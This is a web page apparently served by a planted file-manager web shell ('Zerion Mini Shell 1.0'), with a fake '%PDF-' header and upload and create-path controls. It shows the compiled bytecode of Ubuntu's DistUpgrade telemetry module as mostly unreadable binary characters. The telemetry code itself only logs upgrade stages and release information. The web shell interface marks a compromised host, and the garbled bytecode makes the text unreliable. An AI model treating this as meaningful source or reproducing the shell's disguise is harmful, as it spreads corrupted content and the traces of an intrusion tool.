%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/DistUpgrade/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/DistUpgrade/__pycache__/telemetry.cpython-312.pyc

�

>I�c�
��F�ddlZddlZddlZddlZddlZd�ZGd�d�Zy)�Nc�h�tj�t�t_tjS)z'Return a singleton _Telemetry instance.)�
_Telemetry�
_telemetry���7/usr/lib/python3/dist-packages/DistUpgrade/telemetry.py�getr	s$�����$� *��
��� � � rc�4�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	y)rNc��i|_i|_|j�|_t	j
gd�tjd��j�dj�|jd<|jd�d|_
	td�5}|j�|jd	<ddd�y#1swYyxYw#t$rYywxYw)
N)�lsb_releasez-rz-sT)�stdout�universal_newlinesr�From�startz/var/log/upgrade/telemetryz/var/log/installer/media-info�InstallMedia)�_metrics�_stages_hist�_get_current_uptime�_start_time�
subprocess�Popen�PIPE�communicate�strip�	add_stage�
_dest_path�open�readline�FileNotFoundError)�self�fs  r�__init__z_Telemetry.__init__)s�����
�����3�3�5��� *� 0� 0�'�
���#�!%�%0�[�]�1�!6�6;�e�g�	
�
�
�f��	
���w��6���	��5�6�
=�!�01�
�
���
�
�n�-�
=�
=�
=�� �	��	�s0�C�C�:C�C�C�C�	C�Cc�(�d}	td�5}t|j�j�d�}ddd�|S#1swY|SxYw#tt
tf$r,}tjdt|�z�Yd}~|Sd}~wwxYw)z6Get current uptime info. None if we couldn't fetch it.Nz/proc/uptimerz)Exception while fetching current uptime: )
r�float�read�splitr�OSError�
ValueError�logging�warning�str)r �uptimer!�es    rrz_Telemetry._get_current_uptime8s�����	$��n�%�
4���q�v�v�x�~�~�/��2�3��
4�
�
�
4�
�
��"�7�J�7�	$��O�O�G���F�#�
$�
$��
��	$�s3�A�+A�A�A�	A�A�B�%!B�Bc��|j�}|j�|�y||jt||jz
�<y)z(Record installer stage with current timeN)rrr�int)r �
stage_name�nows   rrz_Telemetry.add_stageCsC���&�&�(�����#�s�{��9C����#�c�D�$4�$4�4�5�6rc�"�||jd<y)zRecord updater type�TypeN�r)r �updater_types  r�set_updater_typez_Telemetry.set_updater_typeJs�� ,��
�
�f�rc�"�||jd<y)z*Record if the user had third party sources�ThirdPartySourcesNr4)r �usings  r�set_using_third_party_sourcesz(_Telemetry.set_using_third_party_sourcesNs��-2��
�
�)�*rc��|j|jd<tjj	|j
�}	tjj
|�stj|�t|j
d�5}tj|j|�ddd�tj|j
tjtjztjztj z�y#1swY�kxYw#t"$r+}t%j&dt)|�z�Yd}~yd}~wwxYw)z<Close telemetry collection

        Save to destination file�Stages�wNz(Exception while storing telemetry data: )rr�os�path�dirnamer�exists�makedirsr�json�dump�chmod�stat�S_IRUSR�S_IWUSR�S_IRGRP�S_IROTHr'r)r*r+)r �
target_dirr!r-s    r�donez_Telemetry.doneRs���
#'�"3�"3��
�
�h���W�W�_�_�T�_�_�5�
�
	$��7�7�>�>�*�-����J�'��d�o�o�s�+�
,�q��	�	�$�-�-��+�
,��H�H�T�_�_��\�\�D�L�L�0��\�\�"�$(�L�L�1�
2�
,�
,��
�	$��O�O�F���F�#�
$�
$��	$�s2�A
D%�!D�/A)D%�D"�D%�%	E�.!E�E)
�__name__�
__module__�__qualname__rr"rrr6r:rLrrrrr%s&���J�
�	�D�-�3�$rr)r)rCr>rFrr	rrrr�<module>rPs%��.��	���!�?$�?$r

Zerion Mini Shell 1.0